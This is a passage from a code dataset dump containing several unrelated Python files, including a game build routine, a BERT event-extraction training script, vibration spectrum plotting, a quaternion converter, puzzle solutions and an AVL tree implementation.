[\n BuildDocument.world_row_i == world_row_i,\n BuildDocument.world_col_i == world_col_i,\n ]\n\n if zone_row_i is not None and zone_col_i is not None:\n filters.extend(\n [BuildDocument.zone_row_i == zone_row_i, BuildDocument.zone_col_i == zone_col_i]\n )\n\n return self._kernel.server_db_session.query(BuildDocument).filter(and_(*filters)).all()\n\n def progress_build(\n self,\n build_id: int,\n real_progress_cost: float,\n consume_resources_percent: float,\n commit: bool = True,\n ) -> None:\n build_doc = self.get_build_doc(build_id)\n build_description = self._kernel.game.config.builds[build_doc.build_id]\n\n for required_resource in build_description.build_require_resources:\n quantity_to_reduce = required_resource.quantity * (consume_resources_percent / 100)\n self._kernel.resource_lib.reduce_stored_in(\n build_id,\n resource_id=required_resource.resource_id,\n quantity=quantity_to_reduce,\n commit=False,\n )\n\n build_doc.ap_spent = float(build_doc.ap_spent) + real_progress_cost\n\n if build_doc.ap_spent >= build_description.cost:\n build_doc.under_construction = False\n\n self._kernel.server_db_session.add(build_doc)\n\n if commit:\n self._kernel.server_db_session.commit()\n","sub_path":"rolling/server/lib/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"217663404","text":"# Just contants for colors and text fx\nclass colors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n # A test text to test the constants\n \"\"\"print(colors.WARNING + \"Warning: No active frommets remain. Continue?\"\n + colors.ENDC)\"\"\"\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"565824395","text":"from ..operators import *\nfrom .double import SilenceAction\n\n\nclass PlayOnlyPartsIdxs(ChordAction):\n def __init__(self, idxs, **kwargs):\n \"\"\"\n Silence a part\n \"\"\"\n self.idxs = idxs\n\n def action(self, chord: Chord, **kwargs):\n\n new_chord = chord.copy()\n parts = new_chord.parts\n for idx, part in enumerate(parts):\n if idx not in self.idxs:\n new_chord.score[part] = SilenceAction()(new_chord.score[part])\n\n return new_chord","sub_path":"musiclang/script/actions/play_on.py","file_name":"play_on.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431013348","text":"# pylint: disable=missing-docstring\nimport unittest\n\ndef solve(fn_input):\n lines = fn_input[:-1].split(\"\\n\")\n i = 0\n steps = 0\n lines = list(map(int, lines))\n while i < len(lines):\n j = i\n i += lines[i]\n lines[j] += 1\n steps += 1\n return steps\n\nclass UnitTest(unittest.TestCase):\n def test_solve(self):\n self.assertEqual(solve(\"0\\n3\\n0\\n1\\n-3\\n\"), 5)\n","sub_path":"solvers/day05a.py","file_name":"day05a.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57901906","text":"#3 filenames\npath = r'/labshare/data/spruce/experiments/2018-02-13_geophone_accelerometer/2018-02-13/'\npath2 = r'/labshare/data/spruce/experiments/2018-02-13_geophone_accelerometer/2018-02-14/'\npath3 = r'/labshare/data/spruce/experiments/2018-02-13_geophone_accelerometer/2018-02-16/'\n\nfn_trustedf = path + '2018-02-13_155025_TwoSpectrum.h5'\nfn_mxcon = path + '2018-02-13_155359_TwoSpectrum.h5'\nfn_mxcoffcomp = path + '2018-02-13_154552_TwoSpectrum.h5'\n\nfn_stillon = path + '2018-02-13_171542_TwoSpectrum.h5'\n\nfn_still_ptoff = path + '2018-02-13_165328_TwoSpectrum.h5'\n\nfn_v_base = path + '2018-02-13_191348_TwoSpectrum.h5'\nfn_v_base_on = path + '2018-02-13_191843_TwoSpectrum.h5'\n\nfn_v_prex = path2 + '2018-02-14_165956_TwoSpectrum.h5'\nfn_v_posx = path2 + '2018-02-14_175027_TwoSpectrum.h5'\nfn_v_bolts = path2 + '2018-02-14_181259_TwoSpectrum.h5'\nfn_v_nfloat = path2 + '2018-02-14_182119_TwoSpectrum.h5'\n\nfn_v_nfloat_on = path2 + '2018-02-14_182708_TwoSpectrum.h5'\nfn_v_float_on = path2 + '2018-02-14_190258_TwoSpectrum.h5'\n\nfn_v_float_off = path2 + '2018-02-14_191818_TwoSpectrum.h5'\n\nfn_lindriveon = path + '2018-02-13_160701_TwoSpectrum.h5'\nfn_lindriveoff = path + '2018-02-13_161633_TwoSpectrum.h5'\n\nfn_recent = path3 + '2018-02-16_193815_TwoSpectrum.h5'\n\nfn_v_lindriveon60hz = path3 + '2018-02-16_190300_TwoSpectrum.h5'\nfn_v_lindriveon75hz = path3 + '2018-02-16_191233_TwoSpectrum.h5'\nfn_v_lindriveoff75hz = path3 + '2018-02-16_192927_TwoSpectrum.h5'\n\n\nfn_vcopen_ptoff = [\n path + '2018-02-13_155025_TwoSpectrum.h5',\n path + '2018-02-13_175339_TwoSpectrum.h5',\n path + '2018-02-13_175955_TwoSpectrum.h5',\n]\n\nfn_vcclosed_ptoff = [\n path + '2018-02-13_181258_TwoSpectrum.h5',\n path + '2018-02-13_181926_TwoSpectrum.h5',\n path + '2018-02-13_183433_TwoSpectrum.h5',\n path + '2018-02-13_191348_TwoSpectrum.h5',\n path2+ '2018-02-14_165956_TwoSpectrum.h5',\n path2+ '2018-02-14_175027_TwoSpectrum.h5',\n path2+ '2018-02-14_181259_TwoSpectrum.h5',\n path2+ '2018-02-14_182119_TwoSpectrum.h5',\n path2+ '2018-02-14_191328_TwoSpectrum.h5',\n path2+ '2018-02-14_191818_TwoSpectrum.h5',\n path3+ '2018-02-16_182831_TwoSpectrum.h5',\n]\n\nfn_vcopen_pton = [\n path + '2018-02-13_155359_TwoSpectrum.h5',\n path + '2018-02-13_160056_TwoSpectrum.h5',\n path + '2018-02-13_160701_TwoSpectrum.h5',\n]\n\nfn_vcclosed_pton = [\n path + '2018-02-13_191843_TwoSpectrum.h5',\n #path2+ '2018-02-14_182708_TwoSpectrum.h5',\n #path2+ '2018-02-14_183445_TwoSpectrum.h5',\n #path2+ '2018-02-14_185853_TwoSpectrum.h5',\n path2+ '2018-02-14_190258_TwoSpectrum.h5',\n path2+ '2018-02-14_190841_TwoSpectrum.h5',\n path2+ '2018-02-14_192242_TwoSpectrum.h5',\n path2+ '2018-02-14_192802_TwoSpectrum.h5',\n path3+ '2018-02-16_184504_TwoSpectrum.h5',\n path3+ '2018-02-16_191233_TwoSpectrum.h5',\n]\n\ndef vcopen_pton():\n v = Vibrations()\n ls = []\n ls.append(v.getlsd(fn_vcopen_pton[0], minfreq=.2, vparam='v2'))\n ls.append(v.getlsd(fn_vcopen_pton[1], minfreq=.2, vparam='v2'))\n ls.append(v.getlsd(fn_vcopen_pton[2], minfreq=.2, vparam='v2'))\n fig,ax = plt.subplots()\n for l in ls:\n ax.loglog(l[0], np.sqrt(l[1])/.1024/9.8)\n ax.set_xlabel('Hz')\n ax.set_ylabel('g/sqrt(Hz)')\n return [fig,ax]\n\n\ndef dggcomp(both=True, filename=None):\n v = Vibrations()\n #l1 = v.getlsd(fn_v_float_on, minfreq=.02)\n #l2 = v.getlsd(fn_v_float_off, minfreq=.02)\n l1 = v.getlsd(fn_v_lindriveon75hz, minfreq=.02)\n l2 = v.getlsd(fn_v_base, minfreq=.02)\n fig,ax = plt.subplots(figsize=(5,4))\n if both:\n ax.loglog(l1[0],l1[4]*1e6, label='PT on')\n ax.loglog(l2[0],l2[4]*1e6, label='PT off')\n ax.legend()\n else:\n ax.loglog(l1[0],l1[4]*1e6, label='PT on')\n ax.set_ylim([1e-6,10])\n ax.set_xlim([1,100])\n if filename is not None:\n ax.tick_params(labelbottom='off')\n ax.tick_params(labelleft='off')\n fig.savefig(filename, dpi=600, transparent=True)\n return [fig,ax]\n\ndef dggcomp_2():\n v = Vibrations()\n l1 = v.getlsd(fn_v_lindriveon75hz, minfreq=.05)\n l2 = v.getlsd(fn_v_base, minfreq=.05)\n fig,ax = plt.subplots(figsize=(6/1.5,4/1.5))\n ax.loglog(l1[0],l1[4]*1e6, label='PT on', color='C1')\n ax.loglog(l2[0],l2[4]*1e6, label='PT off',color='C2')\n ax.legend()\n ax.set_ylim([1e-6,10])\n ax.set_xlim([1,100])\n ax.set_xlabel('Frequency (Hz)')\n ax.set_ylabel(r'$\\mu{\\rm m}/\\sqrt{\\rm Hz}$')\n return [fig,ax]\n\n\ndef denhanncomp(filename=None, w=6.55, h=3.65):\n v = Vibrations()\n l1 = v.getlsd(fn_v_lindriveon75hz, minfreq=.1)\n fig,ax = plt.subplots()\n ax.set_xlabel('Frequency (Hz)')\n ax.set_ylabel(r'${\\rm m}^2/{\\rm Hz}$')\n ax.loglog(l1[0], np.square(l1[4]))\n ax.set_ylim([2e-22, 1e-11])\n ax.set_xlim([1,100])\n fig.tight_layout()\n setaxsize(ax, w, h)\n if filename is not None:\n ax.tick_params(labelbottom='off')\n ax.tick_params(labelleft='off')\n fig.savefig(filename, dpi=600, transparent=True)\n return [fig,ax]\n\ndef setaxsize(ax, w,h):\n \"\"\" w, h: width, height in inches \"\"\"\n if not ax: ax=plt.gca()\n l = ax.figure.subplotpars.left\n r = ax.figure.subplotpars.right\n t = ax.figure.subplotpars.top\n b = ax.figure.subplotpars.bottom\n figw = float(w)/(r-l)\n figh = float(h)/(t-b)\n ax.figure.set_size_inches(figw, figh)\n \ndef uqtcomp(w=5,h=1.434):\n v = Vibrations()\n l1 = v.getlsd(fn_vcopen_pton[0], minfreq=.2, vparam='v2')\n fig,ax = plt.subplots()\n ax.loglog(l1[0], np.sqrt(l1[1])/.1024/9.8)\n ax.set_xlabel('Hz')\n ax.set_ylabel('g/sqrt(Hz)')\n ax.set_ylim([1e-7,5e-3])\n ax.set_xlim([1,1000])\n setaxsize(ax, w,h)\n return [fig,ax]\n\ndef blueforscomp(filename=None):\n v = Vibrations()\n l = v.getlsd(fn_v_lindriveon75hz, minfreq=.2, scaling='spectrum')\n fig,ax = plt.subplots()\n ax.set_xlabel('Frequency (Hz)')\n ax.set_ylabel(r'${\\rm m}$')\n ax.loglog(l[0], l[4])\n ax.set_xlim([1,200])\n ax.set_ylim([1e-12, 1e-6])\n fig.tight_layout()\n if filename is not None:\n ax.tick_params(labelbottom='off')\n ax.tick_params(labelleft='off')\n fig.savefig(filename, dpi=300, transparent=True)\n return [fig,ax]\n\n\n","sub_path":"2018/02/analyze_geo.py","file_name":"analyze_geo.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"565564398","text":"import os\nimport json\nimport numpy as np\n\ndef rotMat2Quat(poseRotMat):\n res = []\n\n for i, mat3x3 in enumerate(poseRotMat):\n qw = qx = qy = qz = None\n\n tr = mat3x3[0][0] + mat3x3[1][1] + mat3x3[2][2]\n if (tr > 0):\n # print(\"!1!\")\n S = np.sqrt(tr + 1) *2\n qw = 0.25*S\n qx = (mat3x3[2][1] - mat3x3[1][2]) / S\n qy = (mat3x3[0][2] - mat3x3[2][0]) / S\n qz = (mat3x3[1][0] - mat3x3[0][1]) / S\n elif ((mat3x3[0][0] > mat3x3[1][1]) & (mat3x3[0][0] > mat3x3[2][2])):\n # print(\"!2!\")\n S = np.sqrt(1 + mat3x3[0][0] - mat3x3[1][1] - mat3x3[2][2]) * 2\n qw = (mat3x3[2][1] - mat3x3[1][2]) / S\n qx = 0.25*S\n qy = (mat3x3[1][0] + mat3x3[0][1]) / S\n qz = (mat3x3[2][0] + mat3x3[0][2]) / S\n elif ((mat3x3[1][1] > mat3x3[2][2])):\n # print(\"!3!\")\n S = np.sqrt(1 + mat3x3[1][1] - mat3x3[0][0] - mat3x3[2][2]) * 2\n qw = (mat3x3[0][2] - mat3x3[2][0]) / S\n qx = (mat3x3[1][0] + mat3x3[0][1]) / S\n qy = 0.25*S\n qz = (mat3x3[2][1] + mat3x3[1][2]) / S\n else:\n # print(\"!4!\")\n S = np.sqrt(1 + mat3x3[2][2] - mat3x3[0][0] - mat3x3[1][1]) * 2\n qw = (mat3x3[1][0] - mat3x3[0][1]) / S\n qx = (mat3x3[2][0] + mat3x3[0][2]) / S\n qy = (mat3x3[2][1] + mat3x3[1][2]) / S\n qz = 0.25*S\n # negate x and w\n # RHS coordinate system to LHS\n res.append([-qw, -qx, qy, qz])\n return res\n\ndef output_pretty(spin_output_path):\n # prepare spin json for unity\n # 1. rotation matrix to Quaterion\n # 2. pretty json\n spin_output = dict()\n with open(spin_output_path, \"r\") as f:\n spin_output = json.load(f)\n res = {\n \"dataset\": spin_output[\"dataset:\"],\n \"name\": spin_output[\"name\"],\n \"betas\": spin_output[\"pred_betas\"][0],\n \"poses\": None,\n \"camera_trans\": spin_output[\"camera_translation\"],\n }\n\n pose_parms = rotMat2Quat(np.concatenate((spin_output[\"global_orient\"][0], spin_output[\"body_pose\"][0]), axis=0))\n res[\"poses\"] = pose_parms\n print(np.array(pose_parms).shape)\n return res\n\n# img_name = \"000000000785\"\n# path_spin = \"./COCO_2017kpt/{}_output.json\".format(img_name)\n# path_unity = \"./unity_format_data/{}_spin.json\".format(img_name)\n#\n# json_unity = output_pretty(path_spin)\n# with open(path_unity, \"w\") as f:\n# json.dump(json_unity, f, indent=4)\n","sub_path":"json_spin2unity.py","file_name":"json_spin2unity.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"14097108","text":"import json\nfrom tqdm import tqdm\nimport os\nimport pandas as pd\nfrom data_utils import *\nfrom keras.callbacks import Callback\nfrom model import Graph\nfrom keras_bert import Tokenizer, calc_train_steps\nimport tensorflow as tf\nimport re\nimport keras.backend as K\n\nglobal graph\ngraph = tf.get_default_graph()\n\nmax_len = 200\n\ncategory_nums = 21\nseed = 10\n\ntoken_dict = {}\ndict_path = 'chinese_L-12_H-768_A-12/vocab.txt'\nwith open(dict_path, encoding='utf8') as file:\n for line in file.readlines():\n token = line.strip()\n token_dict[token] = len(token_dict)\n\nadditional_chars = set()\n\n\nclass OurTokenizer(Tokenizer):\n def _tokenize(self, text):\n tokens = []\n for c in text:\n if c in self._token_dict:\n tokens.append(c)\n elif self._is_space(c):\n tokens.append('[unused1]')\n else:\n tokens.append('[UNK]')\n return tokens\n\n\ntokenizer = OurTokenizer(token_dict)\n\n\ndef read_data():\n # 读取数据,排除“其他”类型,其他对应的结果是nan\n data = pd.read_csv('data/train.csv', header=None)\n data = data[data[2] != '其他']\n data = data[data[1].str.len() <= 256]\n\n # 统计所有存在的事件类型\n if not os.path.exists('data/classes.json'):\n id2class = dict(enumerate(data[2].unique()))\n class2id = {j: i for i, j in id2class.items()}\n json.dump([id2class, class2id], open('data/classes.json', 'w', encoding='utf-8'), ensure_ascii=False)\n else:\n id2class, class2id = json.load(open('data/classes.json', encoding='utf-8'))\n\n # 移除事件主体不在原句子中的数据\n train_data = []\n for t, c, n in zip(data[1], data[2], data[3]):\n if n in t:\n train_data.append((t, c, n))\n\n # shuffle一下并划分数据集\n random_order = shuffle(train_data, seed=seed)[0].tolist()\n train_data = random_order[0:int(0.98 * len(random_order))]\n dev_data = random_order[int(0.98 * len(random_order)):]\n\n # 新数据\n new_data = pd.read_csv('new_data.csv')\n for t, c, n in new_data.values:\n train_data.append((t, c, n))\n\n train_data = shuffle(train_data, seed=seed)[0].tolist()\n\n for d in train_data + dev_data:\n additional_chars.update(re.findall(u'[^\\u4e00-\\u9fa5a-zA-Z0-9\\*]', d[2]))\n\n additional_chars.remove(u',')\n\n # 把验证集作为测试集\n dev = pd.read_csv('data/eval.csv', encoding='utf-8', header=None)\n test_data = []\n for id, t, c in zip(dev[0], dev[1], dev[2]):\n test_data.append((id, t, c))\n\n return train_data, dev_data, test_data, id2class, class2id\n\n\ndef list_find(list1, list2):\n \"\"\"在list1中寻找子串list2,如果找到,返回第一个下标;\n 如果找不到,返回-1。\n \"\"\"\n n_list2 = len(list2)\n for i in range(len(list1)):\n if list1[i: i + n_list2] == list2:\n return i\n return -1\n\n\ndef seq_padding(X, padding=0):\n max_len = max([len(x) for x in X])\n return np.array([\n np.concatenate([x, [padding] * (max_len - len(x))]) if len(x) < max_len else x for x in X\n ])\n\n\ndef data_generator(data, batch_size):\n while True:\n X, segment, start, end, max_length = [], [], [], [], 0\n for i, d in enumerate(data):\n text, c = d[0][:max_len], d[1]\n # x = f'___{c}___{text}'\n # tokens = tokenizer.tokenize(first=text, second=c)\n # if len(tokens) > max_length:\n # max_length = len(tokens)\n\n sub = d[2]\n # sub_token = tokenizer.tokenize(sub)[1:-1]\n # s = list_find(tokens, sub_token)\n s = text.find(sub)\n if s != -1:\n e = s + len(sub) - 1\n\n x, seg = tokenizer.encode(first=text, second=c)\n if len(x) > max_length:\n max_length = len(x)\n\n X.append(x)\n segment.append(seg)\n start.append(s)\n end.append(e)\n\n if len(X) == batch_size or i == len(data) - 1:\n X = pad_sequences(X, maxlen=max_length)\n segment = pad_sequences(segment, maxlen=max_length)\n start = one_hot(start, max_length)\n end = one_hot(end, max_length)\n yield [X, segment, start, end], None\n X, segment, start, end, max_length = [], [], [], [], 0\n\n\ndef softmax(x):\n x = x - np.max(x)\n x = np.exp(x)\n return x / np.sum(x)\n\n\nnew_data = []\n\n\ndef extract_entity(text, category, class2id, model):\n \"\"\"解码函数,应自行添加更多规则,保证解码出来的是一个公司名\n \"\"\"\n if category not in class2id.keys():\n return 'NaN'\n\n # text_in = u'___%s___%s' % (category, text)\n # text_in = text_in[:510]\n # _tokens = tokenizer.tokenize(text_in)\n # _tokens = tokenizer.tokenize(first=text, second=category)\n text = text[:400]\n x, s = tokenizer.encode(first=text, second=category, max_len=512)\n prob_s, prob_e = model.predict([np.array([x]), np.array([s])])\n prob_s, prob_e = softmax(prob_s[0]), softmax(prob_e[0])\n\n for i, t in enumerate(text):\n if len(t) == 1 and re.findall(u'[^\\u4e00-\\u9fa5a-zA-Z0-9\\*]', t) and t not in additional_chars:\n prob_s[i] -= 10\n start = prob_s.argmax()\n\n for end in range(start, len(text)):\n t = text[end]\n if len(t) == 1 and re.findall(u'[^\\u4e00-\\u9fa5a-zA-Z0-9\\*]', t) and t not in additional_chars:\n break\n end = prob_e[start:end + 1].argmax() + start\n res = ''.join(text[start: end + 1])\n\n if prob_s[start] > 0.9 and prob_e[end] > 0.9:\n new_data.append([text, category, res])\n\n return res\n\n\nclass Evaluate(Callback):\n def __init__(self, data, model, test_model, class2id):\n self.ACC = []\n self.best = 0.\n self.passed = 0\n self.dev_data = data\n self.model = model\n self.test_model = test_model\n self.class2id = class2id\n\n def on_batch_begin(self, batch, logs=None):\n \"\"\"第一个epoch用来warmup,第二个epoch把学习率降到最低\n \"\"\"\n if self.passed < self.params['steps']:\n lr = (self.passed + 1.) / self.params['steps'] * learning_rate\n K.set_value(self.model.optimizer.lr, lr)\n self.passed += 1\n elif self.params['steps'] <= self.passed < self.params['steps'] * 2:\n lr = (2 - (self.passed + 1.) / self.params['steps']) * (learning_rate - min_learning_rate)\n lr += min_learning_rate\n K.set_value(self.model.optimizer.lr, lr)\n self.passed += 1\n\n def on_epoch_end(self, epoch, logs=None):\n acc = self.evaluate()\n self.ACC.append(acc)\n if acc >= self.best:\n self.best = acc\n self.model.save_weights('output/subject_model.weights')\n print('epoch: %d, acc: %.4f, best acc: %.4f\\n' % (epoch, acc, self.best))\n\n # def evaluate(self):\n # eps = 0\n # error_list = []\n # for d in tqdm(iter(self.dev_data)):\n # R = extract_entity(d[0], d[1], self.class2id, self.test_model)\n # if R == d[2]:\n # eps += 1\n # else:\n # error_list.append((d[0], d[1], d[2], R))\n # with open('error.txt', 'w', encoding='utf-8')as file:\n # file.write(str(error_list))\n # return eps / len(self.dev_data)\n\n def evaluate(self):\n eps = 0\n for d in tqdm(iter(self.dev_data)):\n R = extract_entity(d[0], d[1], self.class2id, self.test_model)\n if R == d[2]:\n eps += 1\n pre = eps / len(self.dev_data)\n\n return 2 * pre / (pre + 1)\n\n\ndef dev(dev_data, class2id, test_model):\n eps = 0\n error_list = []\n for d in tqdm(iter(dev_data)):\n R = extract_entity(d[0], d[1], class2id, test_model)\n if R == d[2]:\n eps += 1\n else:\n error_list.append((d[0], d[1], d[2], R))\n with open('error.txt', 'w', encoding='utf-8')as file:\n file.write(str(error_list))\n\n pre = eps / len(dev_data)\n return (2 * pre) / (1 + pre)\n\n\ndef test(test_data, class2id, test_model):\n \"\"\"注意官方页面写着是以\\t分割,实际上却是以逗号分割\n \"\"\"\n with open('result.txt', 'w', encoding='utf-8')as file:\n for d in tqdm(iter(test_data)):\n s = str(d[0]) + ',' + extract_entity(d[1].replace('\\t', ''), d[2], class2id, test_model)\n file.write(s + '\\n')\n\n print('length: ', len(new_data))\n import json\n dic = {'data': new_data}\n with open('new_data.txt', 'w', encoding='utf-8')as file:\n file.write(json.dumps(dic, ensure_ascii=False))\n\n\nif __name__ == '__main__':\n batch_size = 16\n learning_rate = 1e-3\n min_learning_rate = 1e-5\n epochs = 100\n is_test = False\n\n train_data, dev_data, test_data, id2class, class2id = read_data()\n\n total_steps, warmup_steps = calc_train_steps(\n num_example=len(train_data),\n batch_size=batch_size,\n epochs=epochs,\n warmup_proportion=0.1,\n )\n\n model, test_model = Graph(total_steps, warmup_steps, lr=learning_rate, min_lr=min_learning_rate)\n\n if is_test:\n test_model.load_weights('output/subject_model.weights')\n model.load_weights('output/subject_model.weights')\n test(test_data, class2id, test_model)\n # acc = dev(dev_data, class2id, test_model)\n # print('acc: ', acc)\n else:\n # test_model.load_weights('output/subject_model.weights')\n # model.load_weights('output/subject_model.weights')\n\n evaluator = Evaluate(dev_data, model, test_model, class2id)\n X = data_generator(train_data, batch_size)\n steps = int((len(train_data) + batch_size - 1) / batch_size)\n\n model.fit_generator(X, steps_per_epoch=100, epochs=epochs, callbacks=[evaluator])\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"247728391","text":"class Solution:\n def isOneBitCharacter(self, bits) -> bool:\n # 统计紧接着0之前的1的个数,如果为奇数,则末尾必定是2比特,返回False,否则为1比特,返回True\n pre_num = 0\n if len(bits) < 2:\n return True\n if bits[-2] == 0:\n return True\n for i in range(len(bits) - 2, -1, -1):\n if bits[i] == 1:\n pre_num += 1\n else:\n break\n if pre_num % 2 == 1:\n return False\n else:\n return True\n\n\nif __name__ == '__main__':\n x = Solution()\n\n bits = [1, 0, 0]\n\n print(x.isOneBitCharacter(bits))\n","sub_path":"717. 1比特与2比特字符.py","file_name":"717. 1比特与2比特字符.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"205754236","text":"## Implementation of the AVL tree !!\n'''\n- still need to make pre order and post order traversal\n'''\nclass Node(object):\n\n\tdef __init__(self,data):\n\t\tself.data = data\n\t\tself.rightChild = None\n\t\tself.leftChild = None\n\t\tself.height = 0 # helps with checking if tree is balanced\n\t\t# Height of Node: length of longest path from it to leaf\n\nclass AVL(object):\n\n\tdef __init__(self):\n\t\tself.root = None\n\n\tdef calcHeight(self, node):\n\t\tif not node: # if the node is None\n\t\t\treturn -1\n\t\telse:\n\t\t\treturn node.height\n\n\t# if return value > 1, it means left heavy situations -> right rotation\n\t# if return value < -1, it means right heavy situations -> left rotation\n\t# if between -1 and 1, it is balanced\n\n\tdef calcBalance(self, node):\n\t\tif not node:\n\t\t\treturn 0\n\t\telse: \n\t\t\treturn self.calcHeight(node.leftChild) - self.calcHeight(node.rightChild)\n\n\t# Rotations to the right and the left are symmetrical operations\n\t# Rotation operations are quite fast as it it just updating references O(1) time complexity\n\tdef rotateRight(self,node):\n\t\t#print(\"Rotating to the right on node %d\" % node.data)\n\t\ttempLeft = node.leftChild\n\t\tt = tempLeft.rightChild\n\n\t\ttempLeft.rightChild = node\n\t\tnode.leftChild = t\n\n\t\t# update node's height by checking left and right sub tree\n\t\tnode.height = max(self.calcHeight(node.leftChild),self.calcHeight(node.rightChild)) + 1\n\t\ttempLeft.height = max(self.calcHeight(tempLeft.leftChild),self.calcHeight(tempLeft.rightChild)) + 1\n\n\t\t# return the new root node\n\t\treturn tempLeft\n\n\tdef rotateLeft(self,node):\n\t\t#print(\"Rotating to the left on node %d\" % node.data)\n\t\ttempRight = node.rightChild\n\t\tt = tempRight.leftChild\n\n\t\ttempRight.leftChild = node\n\t\tnode.rightChild = t\n\n\t\t# update node's height by checking left and right sub tree\n\t\tnode.height = max(self.calcHeight(node.leftChild),self.calcHeight(node.rightChild)) + 1\n\t\ttempRight.height = max(self.calcHeight(tempRight.leftChild),self.calcHeight(tempRight.rightChild)) + 1\n\n\t\t# return the new root node\n\t\treturn tempRight\n\n\t# Inserting data into AVL tree\n\t# need to check if we violated the AVL property\n\tdef insert(self,data):\n\t\tself.root = self.insertNode(data,self.root)\n\n\tdef insertNode(self,data,node):\n\t\tif not node: # base case so plug in the value\n\t\t\treturn Node(data)\n\t\telse:\n\t\t\tif data < node.data: # call recursively on left subtree to insert\n\t\t\t\tnode.leftChild = self.insertNode(data, node.leftChild)\n\t\t\telse: # call recursively on right subtree\n\t\t\t\tnode.rightChild = self.insertNode(data,node.rightChild)\n\n\t\t\t# update height parameter\n\t\t\tnode.height = max(self.calcHeight(node.leftChild),self.calcHeight(node.rightChild)) + 1\n\n\t\t\t# fixes any errors in the balance of the tree\n\t\t\treturn self.settleViolation(data,node)\n\n\tdef settleViolation(self,data,node):\n\t\tbalance = self.calcBalance(node)\n\t\t# Case 1: Greater than 1 -> left left heavy -> & current data is smaller than left child so -> simple right rotation\n\t\tif balance > 1 and data < node.leftChild.data:\n\t\t\t#print(\"Doubly left heavy situation...\")\n\t\t\treturn self.rotateRight(node)\n\n\t\t# Case 2: Less than -1 -> right right heavy -> & current data is smaller than right child so -> simple left rotation\n\t\telif balance < -1 and data > node.rightChild.data:\n\t\t\t#print(\"Doubly right heavy situation...\")\n\t\t\treturn self.rotateLeft(node)\n\t\t# Case 3: Left right\n\t\telif balance > 1 and data > node.leftChild.data: # current data is greater than left (so its on right)\n\t\t\t#print(\"Left-right heavy situation...\")\n\t\t\tnode.leftChild = self.rotateLeft(node.leftChild)\n\t\t\treturn self.rotateRight(node)\n\t\t# Case 4: Right Left\n\t\telif balance < -1 and data < node.rightChild.data:\n\t\t\t#print(\"Right-left heavy situation...\")\n\t\t\tnode.rightChild = self.rotateRight(node.rightChild)\n\t\t\treturn self.rotateLeft(node)\n\n\t\treturn node\n\n\tdef traverse(self):\n\t\tif self.root:\n\t\t\tself.inOrderTraversal(self.root)\n\t\n\tdef inOrderTraversal(self, node):\n\t\tif node.leftChild:\n\t\t\tself.inOrderTraversal(node.leftChild)\n\n\t\tprint(\"%s\" % node.data)\n\n\t\tif node.rightChild:\n\t\t\tself.inOrderTraversal(node.rightChild)\n\n\t# Removing data:\n\tdef remove(self,data):\n\t\tif self.root: # if the root exists -> there are nodes\n\t\t\tself.root = self.removeData(data,self.root)\n\n\t# Using the predecessor method of removing data\n\tdef removeData(self,data,node):\n\t\tif not node: # this is the base case my guy duuhh\n\t\t\treturn node\n\n\t\tif data < node.data: # if smaller\n\t\t\tnode.leftChild = self.removeData(data,node.leftChild)\n\t\telif data > node.data:\n\t\t\tnode.rightChild = self.removeData(data,node.rightChild)\n\t\telse:\n\t\t\t# 1: if there are no children -> Leaf Node\n\t\t\tif not node.leftChild and not node.rightChild:\n\t\t\t\t#print(\"Removing leaf node...\")\n\t\t\t\tdel node\n\t\t\t\treturn None\n\t\t\telif not node.leftChild: # no left but would have right ^\n\t\t\t\t#print(\"Removing node with right child...\")\n\t\t\t\trightChild = node.rightChild\n\t\t\t\tdel node\n\t\t\t\treturn rightChild\n\t\t\telif not node.rightChild: # no right child\n\t\t\t\t#print(\"Removing node with left child...\")\n\t\t\t\tleftChild = node.leftChild\n\t\t\t\tdel node\n\t\t\t\treturn leftChild\n\t\t\telse:\n\t\t\t\t#print(\"Removing node with two children...\")\n\t\t\t\tpredecessor = self.getPredecessor(node.leftChild)\n\t\t\t\tnode.data = predecessor.data\n\t\t\t\tnode.leftChild = self.removeData(predecessor.data,node.leftChild)\n\n\t\tif not node:\n\t\t\treturn node\n\n\t\tnode.height = max(self.calcHeight(node.leftChild),self.calcHeight(node.rightChild)) + 1\n\t\t\n\t\tbalance = self.calcBalance(node)\n\n\t\t# Case 1: Greater than 1 -> left left heavy -> & current data is smaller than left child so -> simple right rotation\n\t\tif balance > 1 and self.calcBalance(node.leftChild) >= 0:\n\t\t\t#print(\"Doubly left heavy situation...\")\n\t\t\treturn self.rotateRight(node)\n\n\t\t# Case 2: Less than -1 -> right right heavy -> & current data is smaller than right child so -> simple left rotation\n\t\telif balance < -1 and self.calcBalance(node.rightChild) <= 0:\n\t\t\t#print(\"Doubly right heavy situation...\")\n\t\t\treturn self.rotateLeft(node)\n\t\t# Case 3: Left right\n\t\telif balance > 1 and self.calcBalance(node.leftChild) < 0: # current data is greater than left (so its on right)\n\t\t\t#print(\"Left-right heavy situation...\")\n\t\t\tnode.leftChild = self.rotateLeft(node.leftChild)\n\t\t\treturn self.rotateRight(node)\n\t\t# Case 4: Right Left\n\t\telif balance < -1 and self.calcBalance(node.rightChild) > 0:\n\t\t\t#print(\"Right-left heavy situation...\")\n\t\t\tnode.rightChild = self.rotateRight(node.rightChild)\n\t\t\treturn 